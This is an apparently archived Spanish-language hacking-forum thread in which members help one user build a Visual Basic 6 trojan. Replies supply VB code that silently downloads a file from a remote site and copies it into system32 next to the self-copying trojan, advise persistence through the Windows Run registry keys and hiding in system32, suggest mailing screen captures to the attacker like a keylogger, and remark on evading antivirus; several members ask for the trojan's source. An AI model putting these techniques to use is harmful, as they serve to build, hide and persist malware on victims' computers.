Normas del foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Noviembre 23, 2008, 05:33:45
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Visual Basic y Net (Moderador: ANYD00M)  |  Tema: Troyano en VB 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Troyano en VB  (Leído 1648 veces)
DrakoX
Habitual
*****
Desconectado Desconectado

Mensajes: 365


favor@depreguntar.com
Ver Perfil
« en: Agosto 30, 2005, 01:50:27 »

Hola,
estoy realizando mi troyano y me gustaria saber, si hay alguna forma de que atravez de un troyano pueda ver la pantalla del otro.( como si yo estubiera viendo su monitor y ver al mismo tiempo los movimientos del maus y donde esta) Si ahy forma de realizar algo de esto en VB6 porfavor diganme como o tirenme pistas del codigo y de los controles si es que hay que usarlos.
GRACIAS
En línea

On[C]raF
Visitante
« Respuesta #1 en: Agosto 30, 2005, 06:27:39 »

...Pos Yo Creo Que Hoy En Dia Todo Es Posible... La Cosa Es Saber Como HaCerlo Tongue
^^ Tendrias Que Agregarle Un GraBador De Pantalla y Lo Mandara Al Mail [ Asi Como Un Keylogger ]
=/ Yo Creo Que Eso Es Mas Profesional [ Y Dudo Mucho Que Se Pueda ]

Modificado por el moderador, no entendia bien las palabras.
« Última modificación: Agosto 30, 2005, 07:26:44 por Þ®0§µ†¢|-| » En línea
DrakoX
Habitual
*****
Desconectado Desconectado

Mensajes: 365


favor@depreguntar.com
Ver Perfil
« Respuesta #2 en: Å¿eptiembre 07, 2005, 05:39:37 »

En línea

Prosutch
Visitante
« Respuesta #3 en: Å¿eptiembre 07, 2005, 06:21:10 »

Si, jaja, yo te puedo decir el famoso porque.

Tu amigo, no tiene el VB instalado,y al suceder eso, no tiene el winsock en su pc.Es el gran problema del VB.Si lo quieres evitar, aprnde a usar la API de los sockets de windows, o usa el ayudante para realizar instaladores del vb, para que instale el exe junto con el winsock, u otros prueba eso de poner solo el .ocx junto a la carpeta del exe, comprimirlo, luego cuano lo descomprime estan los 2 juntos, pero no me parece muy eficaz.EH? esa es la razon...por eso dicen q el vb no es portable, y es verdad.

ByTes!
En línea
DrakoX
Habitual
*****
Desconectado Desconectado

Mensajes: 365


favor@depreguntar.com
Ver Perfil
« Respuesta #4 en: Å¿eptiembre 07, 2005, 07:17:15 »

En línea

la caca
Miembro
*****
Desconectado Desconectado

Mensajes: 72


Ver Perfil Email
« Respuesta #5 en: Å¿eptiembre 14, 2005, 11:39:09 »

sabes que ami me pasaba lo mismo y me puse a pensar como hacer asi que se me ocurrio una muy buena:

cuando el formulario abre descarga en forma silenciosa el winsock de mi pagina (priarts.netfirms.com que la hice exclusivamente para eso) asi que cuando uno ejecuta el prog. y no se detecta el winsock.ocx lo baja y lo copia a la carpeta windows/system32 que es donde se autocopia mi troyano

jaja que buena la idea, no??
si queres el codigo para hacer eso no dudes en preguntar que te lo paso. utiliza una api de windows asi que se puede llevar a todos lados   Wink Grin
En línea
DrakoX
Habitual
*****
Desconectado Desconectado

Mensajes: 365


favor@depreguntar.com
Ver Perfil
« Respuesta #6 en: Å¿eptiembre 14, 2005, 01:58:54 »

Hola,
Muchas gracias por la info.
Me pasarias el codigo??, xq yo lo estaba mandando al winsock junto con el troyano pero es un tanto complicado y ahora con esta info es barbaro.
Pasame el code plizz
GRACIAS
En línea

la caca
Miembro
*****
Desconectado Desconectado

Mensajes: 72


Ver Perfil Email
« Respuesta #7 en: Å¿eptiembre 14, 2005, 02:33:42 »

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function DoFileDownload Lib "shdocvw" (ByVal lpszFile As String) As Long       'declaramos estas 2 API's para poder bajar el archivo de internet

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean   'esta funcion sirve para descargarlo
    Dim lngRetVal As Long
    lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
'empezamos a descargar
    If lngRetVal = 0 Then DownloadFile = True
'si la descarga a acabado porque el valor ingretval=0 entonces damos a downloadfile true
End Function



'lo que sigue para copiar el winsock a la carpeta system32
Dim win  'declaramos variables
Dim sys
Dim ej As String
ej = "c:\winsock.ocx"
DownloadFile "
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion", "c:\winsock.oxc"            ' aca le decimos donde carajo esta el archivo a bajar (en que pagina) y lo baja a c:/ (o a la carpeta que vos quieras)
Set obj = CreateObject("Scripting.FileSystemObject") 'declaramos un objeto tipo fileSystem object
Set win = obj.GetSpecialFolder(0)                    'para obtener la carpeta de windows y system
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)                                     'las ponemos en minusculas
sys = LCase(sys)
FileCopy ej, sys & "\winsock."                     'copia a windows\system32




che tambien tendria que poner que se copie solo tu troyano al ejecturalo en esa carpeta y que se ejecute la copia tambien ok??
y tambien pones que se baje a su carpeta el winsock tambien :

le podrias agegar este codigo

filecopy sys & "/winsock.oxc", app.path


chau papa (che me podes mandar el fuente de tu troyano para que lo pueda ver y te ayudo) 

gracias y chau
En línea
DrakoX
Habitual
*****
Desconectado Desconectado

Mensajes: 365


favor@depreguntar.com
Ver Perfil
« Respuesta #8 en: Å¿eptiembre 14, 2005, 03:11:57 »

En línea

la caca
Miembro
*****
Desconectado Desconectado

Mensajes: 72


Ver Perfil Email
« Respuesta #9 en: Å¿eptiembre 14, 2005, 05:49:59 »

che para que se ejecute siempre no te hace falta que se copie en la carpeta inicio (incluso creo que es mejor que se copie en la carpeta windows/system32 porque casi nadie toca nada ahi)

para que se inicie solo tenes que agregar una entrada al registro en HKEY_LOCAL_MACHINE/software/microsoft/windows/current version/run

o

HKEY_CURRENT_USER/software/microsoft/windows/current version/run
En línea
punga_mza
Visitante
« Respuesta #10 en: Noviembre 01, 2005, 11:18:59 »

una pregunta no tendran una pajinas con codigos de fuentes en VB de troyanos Huh les dejo mi msn ****** cualquier duda o respuesta cuenten con migo !

Modificado por el moderador:No pongan msn's!
« Última modificación: Noviembre 01, 2005, 12:19:12 por Prosutch » En línea
çhame£eøn
Visitante
« Respuesta #11 en: Noviembre 01, 2005, 12:26:41 »

los troyanos o cualquier programa que se denomine virus o macro...

al comienzo no son detectados por los antivirus,,, ya que no estan en su base de datos o mejor dicho ellos cuando encuentran el nombre del proceso de tu troyano,, no le hacen nada por que no sabe si es un "troyano o que cosa"
Asi que por el momento puedes estar alegre...
hasta que algun antivirus lo detecte o el firewall de windows xp lo detecte...

 Cheesy
En línea
canicio
Visitante
« Respuesta #12 en: Noviembre 30, 2005, 02:37:46 »

dark_lord999 me puedes pasar el codigo fuente de tu troyano?Huh
En línea
DrakoX
Habitual
*****
Desconectado Desconectado

Mensajes: 365


favor@depreguntar.com
Ver Perfil
« Respuesta #13 en: Noviembre 30, 2005, 07:30:09 »

En línea

Wolverinexxx
Visitante
« Respuesta #14 en: Diciembre 14, 2005, 09:51:55 »

dark_lord999 me puedes pasar el codigo fuente de tu troyano?
En línea
DrakoX
Habitual
*****
Desconectado Desconectado

Mensajes: 365


favor@depreguntar.com
Ver Perfil
« Respuesta #15 en: Diciembre 14, 2005, 11:39:29 »

Hola,

el troyano no se autocopia,
y es muy simple, hace cosas chotas,
y creo q hay hasta cosas q no andan bien.
Perdoname x no pasartelo antes, en cuanto pudea te lo paso.

Salu2
En línea

Dark_knight
no matter where you are... everyone is always conected
Miembro
*****
Desconectado Desconectado

Mensajes: 141



Ver Perfil
« Respuesta #16 en: Diciembre 15, 2005, 01:47:29 »

hola

solo queria decir que me dio curiosidad saber de tu troyano... y vi tu post donde decias que habia cosas que no andaban bien..... yo tambien se programacion visual basic... y queria preguntarte si me dejabas ver tu codigo, talvez pueda ayudarte un poco... que te parece  Grin

Espero tu respuesta...ok

Un saludo..bye  Grin
En línea

El hombre no puede crear nada sin antes perder algo a cambio... para crear... algo del mismo valor debe perderse.... esa es la ley de la equivalencia de intercambio... y el que desafie esa ley se convertira en un desafio de las creencias del ser humano y de la existencia de dios....
DrakoX
Habitual
*****
Desconectado Desconectado

Mensajes: 365


favor@depreguntar.com
Ver Perfil
« Respuesta #17 en: Diciembre 16, 2005, 07:43:43 »

Hola,

gracias por ofrecerte a ayudar,
sinseramente no la necesito, tmp estoy interesado en mejorarlo ni en usar algun tipo de troyano. Puedo arreglarlo si quiero pero sinseramente me da peresa jejeje.

igualmente les dejo el,link de descarga. no se esperen mucha cosa, fue mi primer programa en VB, y es realmente simple.


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
------> Troyano DarkShadow(codigo) <-------


salu2
En línea

Yuli_sweetie
Visitante
« Respuesta #18 en: Diciembre 22, 2005, 06:37:55 »

Hola  Cheesy Bueno ami me interesa el codigo de tu troyano.. Lo que pasa esque ya he hehcho como 3 programillas Con winsock asi para la escuela envio de imagenes, un chat y el mas reciente fue el envio de la impresion de pantalla del cliente al servidor.. pero ahora me piden un programa como de Administracion remota,, que puedas navegar entre las ventanas o que apages o abras el cd.. del cliente
y pues la verdad no tengo ni idea de como hacerlo y me serviria de mucho tu ayuda con ese codigo Embarrassed
Bueno Grasias y espero puedas ayudarme
En línea
Buskapina
Miembro
*****
Desconectado Desconectado

Mensajes: 140



Ver Perfil Email
« Respuesta #19 en: Enero 08, 2006, 12:28:56 »

En línea
Prosutch
Visitante
« Respuesta #20 en: Enero 08, 2006, 01:37:42 »

Oh!    Shocked

si abre usado esa api!!

ByTes!

En línea
Buskapina
Miembro
*****
Desconectado Desconectado

Mensajes: 140



Ver Perfil Email
« Respuesta #21 en: Enero 08, 2006, 01:47:48 »

En línea
Prosutch
Visitante
« Respuesta #22 en: Enero 08, 2006, 01:50:23 »

Tmb vale aclarar, que la mayoria de usos de api's, son copy & paste, ya no hay mas jugo para sacrle a la naranja, depende de cuales, por supuesto.


ByTes!
En línea
Buskapina
Miembro
*****
Desconectado Desconectado

Mensajes: 140



Ver Perfil Email
« Respuesta #23 en: Enero 08, 2006, 01:53:26 »

Exacto, es lo malo te hace sentir un script kidie !!!
En línea
Crass
Miembro
*****
Desconectado Desconectado

Mensajes: 62

crass_craster@hotmail.com
Ver Perfil Email
« Respuesta #24 en: Octubre 05, 2006, 12:42:21 »

Hola a todos, no he tenido tiempo de leer todo este post, pero he hestado leyendo k teniais problemas con el winsock por k la victima no la tiene, Wueno la verdad es k yo no uso las Apis y el winsock se lo mando dentro del *.exe y cuando lo balla usar se lo descarga
En línea
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Visual Basic y Net (Moderador: ANYD00M)  |  Tema: Troyano en VB « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.7 | SMF © 2006-2007, Simple Machines LLC